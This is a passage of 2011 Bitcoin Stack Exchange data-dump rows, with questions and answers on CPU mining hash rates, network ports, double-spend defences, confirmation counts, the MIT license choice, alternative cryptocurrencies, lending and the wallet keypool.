  <row Id="1876" PostTypeId="1" AcceptedAnswerId="1878" CreationDate="2011-11-03T20:04:00.040" Score="4" ViewCount="10172" Body="&lt;p&gt;I'm checking &lt;a href=&quot;https://en.bitcoin.it/wiki/Mining_hardware_comparison&quot; rel=&quot;nofollow&quot;&gt;this page&lt;/a&gt; to know what hashing speed my hardware has. But there's no explanation about the acronyms.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For my Core 2 Quad Q9650, what's the expected hashing speed?&lt;/p&gt;&#xA;" OwnerUserId="647" LastEditorUserId="5406" LastEditDate="2016-02-02T09:24:43.180" LastActivityDate="2021-09-27T23:15:30.457" Title="What hashing speed does my hardware have?" Tags="|hashpower|terminology|mining-hardware|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="1877" PostTypeId="2" ParentId="1876" CreationDate="2011-11-03T20:17:56.120" Score="3" Body="&lt;p&gt;The table in the linked page says it's  18.67 MHash/s. That's very low, mining with a CPU is pointless.&lt;/p&gt;&#xA;" OwnerUserId="575" LastActivityDate="2011-11-03T20:17:56.120" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1878" PostTypeId="2" ParentId="1876" CreationDate="2011-11-03T20:44:56.963" Score="6" Body="&lt;p&gt;From &lt;a href=&quot;https://en.bitcoin.it/wiki/Mining_hardware_comparison&quot; rel=&quot;nofollow&quot;&gt;Wiki:Mining hardware comparison&lt;/a&gt;: Core 2 Quad Q9650 - 18.67 Mhash/s . With current price and difficulty factor there is no point in using CPU for mining because the profit won't cover the cost of hardware or electricity. For example with current difficulty it will take you 8 years on average to uncover block and earn 50 BTC or 1/2 BTC a month if mining from a pool. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Today everyone uses video cards to mine e.g. ATI 5970 has about 800 Mhash/s, which is about 43 times faster then your CPU. Bitcoin network adjusts difficulty factor so bitcoin production rate would stay roughly the same, about 50 bitcoins per 10 minutes. CPU mining can do only a small part of total workload therefore you would receive on average a very small part of the reward.&lt;/p&gt;&#xA;" OwnerUserId="108" LastActivityDate="2011-11-03T20:44:56.963" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1879" PostTypeId="2" ParentId="1867" CreationDate="2011-11-03T22:09:10.150" Score="2" Body="&lt;p&gt;I changed wording of the quote a bit, so it would match your question.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;When you connect to a client, you will receive responses on the port&#xA;  you just used to connect to that client. The Bitcoin network uses persistent TCP&#xA;  connections that remain active so long as both nodes continue running.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://bitcoin.stackexchange.com/questions/1413/bitcoin-communication-with-non-standard-ports/1417#1417&quot;&gt;Bitcoin communication with non-standard ports&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For the sake of discussion we can define Server as the side that waits or listens on port 8333 and Client as the side that initiates connection by sending network packet to &quot;server_ip_address&quot;:&quot;8333&quot; , the network packet has address of the Client, so Server can send reply back to &quot;client_ip_address&quot;:&quot;any_port_reserved_for_client_on_client's_network&quot; . &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Bitcoin always reserves 8333 port on workstation to communicate with Bitcoin Network, but usually home router changes the port number in packet when it's on it's way out for the Network Address Translation mechanic (NAT). To overcome NAT and make Bitcoin Client act as Server and accept incoming connections, Port Forwarding or UPnP should be enabled.&lt;/p&gt;&#xA;" OwnerUserId="108" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:36.647" LastActivityDate="2011-11-04T11:49:28.927" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="1880" PostTypeId="2" ParentId="1869" CreationDate="2011-11-03T22:13:17.840" Score="1" Body="&lt;p&gt;What you're forgetting is that merchants who accept transactions with zero confirmations would already defend against this attack using well-known methods. The primary defense is monitoring the Bitcoin network at multiple points, as close to the largest mining pools as possible. The merchant only considers a transaction valid if they see it at the vast majority of their probe points. And, of course, if they see a conflicting transaction at &lt;em&gt;any&lt;/em&gt; probe point, they reject the transaction (until/unless it gets confirmations).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is why the Finney attack was such a shock. It was generally believed that this was sufficient defense. In my opinion, it is still sufficient for low-value transactions, say less than $250 or equivalent. At least, that's my opinion until we actually see a successful double-spend attack against a merchant using reasonable defenses.&lt;/p&gt;&#xA;" OwnerUserId="85" LastActivityDate="2011-11-03T22:13:17.840" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="1881" PostTypeId="1" CreationDate="2011-11-04T00:46:02.970" Score="15" ViewCount="1312" Body="&lt;p&gt;If I am not a miner and would like to put arbitrary data in the block chain, is there currently any method or protocol to get a miner to add it for me?&lt;/p&gt;&#xA;" OwnerUserId="268" LastActivityDate="2011-11-04T00:59:39.757" Title="How can a non-miner store data in the block?" Tags="|blockchain|protocol|block|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1882" PostTypeId="2" ParentId="1170" CreationDate="2011-11-04T00:54:46.767" Score="45" Body="&lt;p&gt;Many people misquote Satoshi paper and assume 6 is some hard value.&lt;/p&gt;&#xA;&lt;p&gt;Satoshi's paper outlines the number of confirmations necessary to be 99.9% sure (less than 1 in 1000 chance of success) that an attacker couldn't build a longer chain to reverse the transaction.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;http://bitcoin.org/bitcoin.pdf&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://bitcoin.org/bitcoin.pdf&lt;/a&gt;&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;P &amp;lt; 0.001&#xA;q=0.10   z=5&#xA;q=0.15   z=8&#xA;q=0.20   z=11&#xA;q=0.25   z=15&#xA;q=0.30   z=24&#xA;q=0.35   z=41&#xA;q=0.40   z=89&#xA;q=0.45   z=340&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;p is the chance of attacker eventually getting longer chain and reversing a transaction (0.1% in this case).&#xA;q is the % of the hashing power the attacker controls.&#xA;z is the number of blocks to put the risk of a reversal below p (0.1%).&lt;/p&gt;&#xA;&lt;p&gt;So you can see if the attacker has a small % of the hashing power 6 blocks is sufficient.  Remember 10% of the network at the time of writing is ~100GH/s.  However if the attacker had greater % of hashing power it would take increasingly longer to be sure a transaction can't be reversed.&lt;/p&gt;&#xA;&lt;p&gt;If the attacker had significantly more hashpower say 25% of the network it would require 15 confirmation to be sure (99.9% probability) that an attacker can't reverse it.&lt;/p&gt;&#xA;&lt;p&gt;If the attacker has q of &amp;gt;50% (&amp;quot;the 51% attack&amp;quot;) then given unlimited time the attacker will inevitably end up with the longest chain.&lt;/p&gt;&#xA;&lt;p&gt;On edit: to clarify the &amp;quot;unlimited time&amp;quot; the chain with the higher hashrate will inevitably end up the longest however probability still comes into play.  We can not say with 100% certainty how long it will take at best we can provide a confidence interval.  If the attacker is just barely faster than the good miners (51% vs 49%) then it can take a very long time for an attacker to overcome a deficit of 6 blocks.  The more the attacker dominates (i.e. 70% vs 30%) the quicker the shorter the 95% confidence interval is reached.&lt;/p&gt;&#xA;" OwnerUserId="307" LastEditorUserId="307" LastEditDate="2021-01-03T22:59:47.900" LastActivityDate="2021-01-03T22:59:47.900" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="1883" PostTypeId="2" ParentId="1881" CreationDate="2011-11-04T00:59:39.757" Score="8" Body="&lt;p&gt;There is a service named btcmsg which allows you to do this. &lt;a href=&quot;https://bitcointalk.org/index.php?topic=47283.0&quot;&gt;Here&lt;/a&gt; is the announcement in bitcointalk. The website is at &lt;a href=&quot;http://btcmsg.staticloud.com&quot;&gt;btcmsg.staticloud.com&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;They use a simple &lt;a href=&quot;http://btcmsg.staticloud.com/btcmsg_protocol_v1.txt&quot;&gt;protocol&lt;/a&gt; to write and read the messages in the blockchain:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;BTCmsg Protocol v1 (2011-09-18)&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Each message is represented by multiple payment which is calculated by&#xA;  the following algorithm:     &lt;/p&gt;&#xA;  &#xA;  &lt;ol&gt;&#xA;  &lt;li&gt;Two first chars for message type ('01' for md5, '02' for ascii).     &lt;/li&gt;&#xA;  &lt;li&gt;Then the message in hex (python binascii.hexlify).    &lt;/li&gt;&#xA;  &lt;li&gt;Split the long string to groups of 4 hex digits.   &lt;/li&gt;&#xA;  &lt;li&gt;Each group of 4 hex (e.g. 2 ascii letters from the message) is     represented by a payment in satoshi (maximum 0xffff=65535).   &lt;/li&gt;&#xA;  &lt;li&gt;The service fee (composed of a fixed part and a variable part times     the amount of small payments required, minus the transaction fee) can be seen within the first transaction.&lt;/li&gt;&#xA;  &lt;/ol&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="5" LastActivityDate="2011-11-04T00:59:39.757" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1884" PostTypeId="5" CreationDate="2011-11-04T09:17:03.660" Score="0" Body="&lt;p&gt;Related to the TCP/IP protocol.&lt;/p&gt;&#xA;" OwnerUserId="323" LastEditorUserId="323" LastEditDate="2011-11-04T09:33:33.337" LastActivityDate="2011-11-04T09:33:33.337" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1885" PostTypeId="4" CreationDate="2011-11-04T09:17:03.660" Score="0" Body="Related to the TCP/IP protocol." OwnerUserId="323" LastEditorUserId="323" LastEditDate="2011-11-04T09:33:38.453" LastActivityDate="2011-11-04T09:33:38.453" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1887" PostTypeId="1" AcceptedAnswerId="1889" CreationDate="2011-11-04T11:51:08.873" Score="8" ViewCount="850" Body="&lt;p&gt;I'm trying to understant &lt;a href=&quot;http://bitcoincharts.com/charts/&quot;&gt;this bitcoin chart&lt;/a&gt;, but there's no indication of what's the Y axis. The &quot;200K&quot; means the value in dollars? Or in bitcoins? Or what?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm trying to check out the value of a bitcoin in comparision with US Dollars over the year.&lt;/p&gt;&#xA;" OwnerUserId="647" LastActivityDate="2011-11-04T12:40:47.690" Title="Trying to understand the bitcoin chart" Tags="|value|exchange-rate|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1888" PostTypeId="2" ParentId="1887" CreationDate="2011-11-04T12:33:53.923" Score="3" Body="&lt;p&gt;There are two Y axes. The one on the left (with 200K) is the volume axis, which corresponds to the bars on the bottom and by default means the volume in bitcoins. To get the volume in USD, check the &quot;Volume in Currency&quot; box.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The axis on the right is the price axis, which corresponds to the &lt;a href=&quot;http://en.wikipedia.org/wiki/Candlestick_chart&quot; rel=&quot;nofollow&quot;&gt;Candlestick chart&lt;/a&gt;. If you want to know the changes in the bitcoin exchange rate this is what you want.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you're looking a year back you may also want to check the &quot;Log scale&quot; option which &quot;distorts&quot; the Y-axis to make low rates more readable.&lt;/p&gt;&#xA;" OwnerUserId="575" LastEditorUserId="575" LastEditDate="2011-11-04T12:40:47.690" LastActivityDate="2011-11-04T12:40:47.690" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1889" PostTypeId="2" ParentId="1887" CreationDate="2011-11-04T12:37:54.627" Score="4" Body="&lt;p&gt;The left Y-axis applies to the lighter colored volume bars from the bottom of the chart which denote the trading volume in BTC. Alternatively you have the option to display these volume bars in the respective other currency (USD in this case), if you select the &quot;Volume in Currency&quot; checkbox at the left of the page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A volume bar shows how many units of the currency were traded within the respective timeframe (days in this case).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To just compare the price of Bitcoin in comparison to the US dollar, you can ignore the volume bars and just look at the price as denoted by the Y-axis on the right of the chart. If you use &lt;a href=&quot;http://bitcoincharts.com/charts/mtgoxUSD#rg360zigDailyztgCzm1g10zm2g25&quot; rel=&quot;nofollow&quot;&gt;this link&lt;/a&gt;, you see just the daily price over a year without volume bars or candlesticks.&lt;/p&gt;&#xA;" OwnerUserId="160" LastActivityDate="2011-11-04T12:37:54.627" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1890" PostTypeId="2" ParentId="1816" CreationDate="2011-11-04T15:49:25.193" Score="3" Body="&lt;p&gt;Yes and no.  Don't use 8332 for your custom client's communication port, that is the default rpcport.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can run an arbitrary number of bitcoind instances on your machine, as long as they are given different -port= and -rpcport= arguments, and they can all communicate with each other (using -addnode=127.0.0.1:...port... or -connect=127.0.0.1:...port... ).&lt;/p&gt;&#xA;" OwnerUserId="53" LastActivityDate="2011-11-04T15:49:25.193" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1891" PostTypeId="2" ParentId="1867" CreationDate="2011-11-04T17:59:33.330" Score="7" Body="&lt;p&gt;Once the connection is established, the communication is completely symmetric-- either end can ask the other anything.&lt;/p&gt;&#xA;" OwnerUserId="53" LastActivityDate="2011-11-04T17:59:33.330" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1892" PostTypeId="2" ParentId="899" CreationDate="2011-11-04T19:24:20.123" Score="2" Body="&lt;p&gt;Miners are not obligated to include any specific transaction in a block.    &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If one person gets a headstart then any non mining node will not relay the duplicate so the &quot;first mover&quot; will quickly cut off portions of the network from other contenders. However if both transacitons are create at roughly the same time it is possible that each duplicate transaction will reach the nodes that support mining pool(s) via different routes.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;A mining pool can include any transaction they wish and tend to run customized versions of the bitcoind to optimize block generation.  It is in the miner's best interest to take the transaction with the higher fee at the detrimnent of other transactions.  Thus using a transaction fee could increase the chance of being included in the next block.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Utltimately the transaction included in the block will resolve the &quot;race&quot;.&lt;/p&gt;&#xA;" OwnerUserId="307" LastActivityDate="2011-11-04T19:24:20.123" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1893" PostTypeId="1" AcceptedAnswerId="1898" CreationDate="2011-11-04T19:38:03.290" Score="23" ViewCount="5289" Body="&lt;p&gt;Given that an open, transparent, distributed p2p network is a central element of Bitcoin project it seems unusual that it is licensed under the MIT license which allows proprietary closed source derivatives.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;http://en.wikipedia.org/wiki/MIT_License&quot; rel=&quot;noreferrer&quot;&gt;http://en.wikipedia.org/wiki/MIT_License&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Does anyone know if there was a stated or expressed reason for not choosing a free software license?&lt;/p&gt;&#xA;&lt;p&gt;Has there been any discussion to license future versions of the Bitcoin client under licenses which have &amp;quot;copy left&amp;quot; and &amp;quot;patent retaliation&amp;quot; provisions such as GPL?&lt;/p&gt;&#xA;" OwnerUserId="307" LastEditorUserId="5406" LastEditDate="2022-09-07T15:24:40.697" LastActivityDate="2022-09-07T15:24:40.697" Title="Why was the MIT license chosen for Bitcoin?" Tags="|bitcoin-core|bitcoin-core-development|legal|license|" AnswerCount="3" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="1894" PostTypeId="2" ParentId="1874" CreationDate="2011-11-04T19:48:41.510" Score="1" Body="&lt;p&gt;There are some other suggestions as to how this can be done without the &quot;sign a message&quot; feature coming in v0.5.&#xA; - &lt;a href=&quot;http://forum.bitcoin.org/index.php?topic=4411.0&quot; rel=&quot;nofollow&quot;&gt;http://forum.bitcoin.org/index.php?topic=4411.0&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One suggestion was to receive a trivial but unique amount and then send that same amount back to the sender.  Awkward, but possible.&lt;/p&gt;&#xA;" OwnerUserId="153" LastActivityDate="2011-11-04T19:48:41.510" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1895" PostTypeId="1" AcceptedAnswerId="1896" CreationDate="2011-11-04T20:06:02.763" Score="16" ViewCount="10109" Body="&lt;p&gt;I'm seeing lots of bitcoin-esque alternatives mentioned here. What alternatives exist and how do they differ from Bitcoins?&lt;/p&gt;&#xA;" OwnerUserId="324" LastActivityDate="2014-02-12T00:25:10.100" Title="What Bitcoin-esque alternatives are there?" Tags="|alternatives|" AnswerCount="5" CommentCount="2" ClosedDate="2014-02-12T12:26:37.610" ContentLicense="CC BY-SA 3.0" />
  <row Id="1896" PostTypeId="2" ParentId="1895" CreationDate="2011-11-04T21:09:45.907" Score="13" Body="&lt;p&gt;There are a number of other cryptocoins in use alongside Bitcoin, the most notable are:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://en.bitcoin.it/wiki/Testnet&quot; rel=&quot;nofollow&quot;&gt;Testnet Bitcoins&lt;/a&gt; (used only for testing Bitcoin applications, but they are an important mention) - they work exactly the same as Bitcoins.&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://en.bitcoin.it/wiki/Namecoin&quot; rel=&quot;nofollow&quot;&gt;Namecoins&lt;/a&gt; - coinage used as a distributed naiming system blockchain. Their most notable feature is that they can be merged mined with Bitcoins.&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://litecoin.org/&quot; rel=&quot;nofollow&quot;&gt;LiteCoins&lt;/a&gt; - &quot;silver to Bitcoin's gold&quot; - their blocks are generated every 2,5 minutes, and their hashing algorithms are more CPU-friendly (mining with graphic cards doesn't work well with those).&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://solidcoin.info/&quot; rel=&quot;nofollow&quot;&gt;SolidCoins&lt;/a&gt; - 2 minute blocks, there isn't a limit on how many coins will be generated, CPU friendly, difficulty is adjusted more often, close-source. The SolidCoins have undergone a &quot;reset&quot; recently and have earned themselves a negative reputation for how some issues were handled.&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.geistgeld.org/get-started.html&quot; rel=&quot;nofollow&quot;&gt;GeistGeld&lt;/a&gt; - 15 seconds blocks, making it the fastest alternative crypto-currency.&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://i0coins.com/&quot; rel=&quot;nofollow&quot;&gt;I0coin&lt;/a&gt; - they don't list any difference from Bitcoins on their website&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://bitcointalk.org/index.php?topic=36218.0&quot; rel=&quot;nofollow&quot;&gt;Ixcoin&lt;/a&gt; - same parameters as Bitcoins, asides more coins being generated each block (thusly, all 21M coins will be generated sooner)&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.tenebrix.org/&quot; rel=&quot;nofollow&quot;&gt;Tenebrix&lt;/a&gt; - CPU friendly, a few million coins pre-minted&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://en.bitcoin.it/wiki/List_of_alternative_cryptocurrencies&quot; rel=&quot;nofollow&quot;&gt;A list of them is also maintained on the Bitcoin Wiki&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is a relative ease in creating new cryptocoins, as you can just tweak the main client, encode a new genesis block and start your alternatives with small effort.&lt;/p&gt;&#xA;" OwnerUserId="323" LastEditorDisplayName="user1586" LastEditDate="2014-02-12T00:25:10.100" LastActivityDate="2014-02-12T00:25:10.100" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="1897" PostTypeId="2" ParentId="1893" CreationDate="2011-11-04T23:13:49.730" Score="7" Body="&lt;p&gt;Using a more restrictive license would have slowed adoption. The biggest obstacle to Bitcoin is lack of adoption. Anything that would restrict the set of things people can do with Bitcoins or make it more expensive or more difficult to use them in particular ways increases the chances that Bitcoins never get significant penetration.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some Bitcoin uses involve proprietary, closed source derivatives. How would it help Bitcoins to discourage those uses?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But the actual historical reason is even more important. If the Bitcoin client had been licensed under the GPL, anyone who wanted a proprietary client would have to recreate it. That would create a whole host of real problems that would harm the usefulness of the Bitcoin system.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, say the developers want to add a new type of script. Right now, they can add support for that script in the official client and everyone will have it in a few months. But if there were proprietary versions, they may never be able to cost justify adding the new scripts, and this could cause adoption of the new scripts to fail. If a new currency supported those scripts and forks meant Bitcoin didn't, that could make Bitcoins fail.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or say there was a bug in the client that caused it to accept blocks that are subtly invalid. If the network had a significant number of clients separate developed, they might reject those blocks while the official client accepts them. If fewer than 50% of the network runs the official clients or miners tend to run the proprietary clients, this could result in a serious network fork that would be very painful to resolve.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another problem would be if different clients wind up using different attack resistance methods. If one client passes a message another client considers abusive, attackers could exploit this to isolate nodes from the rest of the network. Having all clients use the same logic for validating messages avoids this attack method. (If X punishes nodes for it, X also won't pass it to other nodes. So if other nodes follow the same logic as X, X will never get punished. But if X passes a message Y punishes for, sending that message to X will result in X not punishing you, but X getting punished by Y.)&lt;/p&gt;&#xA;" OwnerUserId="85" LastEditorUserId="85" LastEditDate="2011-11-04T23:20:32.887" LastActivityDate="2011-11-04T23:20:32.887" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="1898" PostTypeId="2" ParentId="1893" CreationDate="2011-11-04T23:57:29.533" Score="25" Body="&lt;p&gt;&lt;a href=&quot;https://bitcointalk.org/index.php?topic=989.msg12494#msg12494&quot;&gt;Satoshi&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;If the only library is closed source, then there's a project to make&#xA;  an open source one.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;If the only library is GPL, then there's a project to make a non-GPL&#xA;  one.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;If the best library is MIT, Boost, new-BSD or public domain, then we&#xA;  can stop re-writing it.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;I don't question that GPL is a good license for operating systems,&#xA;  especially since non-GPL code is allowed to interface with the OS. &#xA;  For smaller projects, I think the fear of a closed-source takeover is&#xA;  overdone.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="403" LastActivityDate="2011-11-04T23:57:29.533" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="1899" PostTypeId="1" AcceptedAnswerId="1905" CreationDate="2011-11-05T01:58:47.963" Score="11" ViewCount="2281" Body="&lt;p&gt;In today's society, people often take out loans from banks. In an economy that was run on bitcoins, how would someone go about getting a loan? I do not understand how this would work with Bitcoin's deflationary model. It seems a loan would be creating a short on bitcoins which could be very harmful with the value of bitcoins increasing.&lt;/p&gt;&#xA;" OwnerUserId="145" LastEditorUserId="5406" LastEditDate="2015-06-17T12:27:22.767" LastActivityDate="2023-11-07T08:45:15.103" Title="If the economy was based on bitcoin, how would someone go about getting a loan?" Tags="|finance|loans|" AnswerCount="8" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1900" PostTypeId="2" ParentId="1899" CreationDate="2011-11-05T02:25:06.650" Score="3" Body="&lt;p&gt;If you take a loan out on a currency that is not stable, you are asking for trouble.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the deflation rate was stable, one would have to take that into consideration when calculating the interest rate, similarly as one would in inflatory economy.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One could also consider the concepts of &lt;a href=&quot;https://en.bitcoin.it/wiki/Smart_Property&quot; rel=&quot;nofollow noreferrer&quot;&gt;Smart Property&lt;/a&gt;, as well as some concepts use by &lt;a href=&quot;http://en.wikipedia.org/wiki/Islamic_banking#Bai.27_al_.27inah_.28sale_and_buy-back_agreement.29&quot; rel=&quot;nofollow noreferrer&quot;&gt;Islamic banking&lt;/a&gt;. But those are concepts that are probably best answered in the &lt;a href=&quot;https://economics.stackexchange.com/&quot;&gt;Economy SE&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="323" LastEditorUserId="-1" LastEditDate="2017-04-13T12:51:38.527" LastActivityDate="2011-11-05T02:25:06.650" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1901" PostTypeId="2" ParentId="1899" CreationDate="2011-11-05T05:14:21.137" Score="0" Body="&lt;p&gt;In an economy based on Bitcoins, they wouldn't actually be deflationary. An economy based on Bitcoins would be just like an economy based on dollars, except the Fed couldn't print any more dollars. But think about it, what fraction of the money in the economy is physical, printed dollar bills anyway?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If a deflationary currency doesn't work, people simply won't use it. They'll create substitutes for the currency so that the currency doesn't deflate.&lt;/p&gt;&#xA;" OwnerUserId="85" LastActivityDate="2011-11-05T05:14:21.137" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="1902" PostTypeId="2" ParentId="1899" CreationDate="2011-11-05T08:08:13.703" Score="2" Body="&lt;p&gt;Futures and options can be used to eliminate the risks associated with price volatility. If you're borrowing and worried that the price will go way up, make an agreement with someone to trade at a reasonable price at some point in the future. Lenders can do the same on their side.&lt;/p&gt;&#xA;" OwnerUserId="403" LastActivityDate="2011-11-05T08:08:13.703" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1903" PostTypeId="1" AcceptedAnswerId="1966" CreationDate="2011-11-05T12:29:42.720" Score="6" ViewCount="353" Body="&lt;p&gt;Does anyone keep a track of various Bitcoin-related malware, such as the recent &lt;a href=&quot;http://blogs.computerworld.com/19187/devilrobber_trojan_hijacks_macs_for_bitcoin_mining_steals_data_spreads_via_pirated_software&quot;&gt;DevilRobber Trojan&lt;/a&gt;?&lt;/p&gt;&#xA;" OwnerUserId="323" LastActivityDate="2011-11-11T19:06:01.670" Title="Is there a list of Bitcoin malware" Tags="|virus|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1904" PostTypeId="2" ParentId="770" CreationDate="2011-11-05T19:43:20.060" Score="7" Body="&lt;p&gt;The keypool is a collection of unused addresses in your wallet.  The keypool parameter tells the client how many unused addresses to keep in its pool.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Almost every time you send a Bitcoin payment, some change is generated and sent to a previously unused address.  If you have a keypool, then each time a new address is needed one of the keypool addresses is used, and a new address is created and placed in the keypool to replace the one that was just used.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The purpose of the keypool is to allow you to backup your wallet file less frequently and still have access to all your funds in the event of a hard drive failure.  If you didn't have a keypool, and made a backup of your wallet, then made a payment, and then suffered a disk crash, you would lose the change which came from that payment because it would have been sent to a new address that wasn't in the backup.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With a keypool of 100 addresses, you can make up to 100 payments between backups and still be able to access all your funds.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://en.bitcoin.it/wiki/Key_pool&quot;&gt;https://en.bitcoin.it/wiki/Key_pool&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="659" LastActivityDate="2011-11-05T19:43:20.060" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1905" PostTypeId="2" ParentId="1899" CreationDate="2011-11-05T20:11:01.397" Score="13" Body="&lt;p&gt;Loans are possible in a deflationary environment.  Currently bitcoins is too volatile (which has nothing to do with deflation) to make lending viable.  For the purpose of answering the question I will assume that in the future volatility is either low or easily hedges.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The interest in a loan comes from 4 components:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Opportunity Cost&lt;/strong&gt;.  Instead of giving you a loan I could do something else productive with the money.  If I could get a 10% ROI on my money by installing a new air-conditioner that will factor into the interest I change.  It would be a loss to loan money to you at less than 10% (after adjusting for the other risks) as I would &quot;earn&quot; more by taking the 10% ROI.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Inflation risk&lt;/strong&gt;.  If money is worth 5% less in one year I will want to be paid 5% more even on a no risk no profit loan.  Thus inflation contributes to the overall interest charged.  Deflation would subtract from the overall interest charged.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Default risk&lt;/strong&gt;.  If you don't pay me I lose money.  In the long run I need to collect interest equivalent to % of amount loaned that is lost due to defaults.  If I project I will lose on average 10% of amount loaned and charge 11% interest then I would break even.  Note: real world calculations are more complex because one may collect some revenue even from loans that default and may receive collateral, or sell defaulted loan for some recovery.  Still default risk needs to be included in the price of the loan.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Delayed Consumption&lt;/strong&gt;.  By giving you a loan (even if priced to exactly break even) I am delaying my ability to use my money today.  I can't use it until repaid thus I will charge a premium for the time I lose waiting for repayment (sometimes called time value).  Thus even if all other costs/risks are 0% there will be some interest charged otherwise I might as well just keep the money in a can.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Interest is the &quot;cost&quot; of money.  Of the four components that contribute to that cost only one of them is related to inflation/deflation.  If in the long term all other factor were equal (which is unlikely), the USD had 3% inflation rate, and BTC had a 2% deflation rate one would be expect interest rates in BTC to be ~5% lower.&lt;/p&gt;&#xA;" OwnerUserId="307" 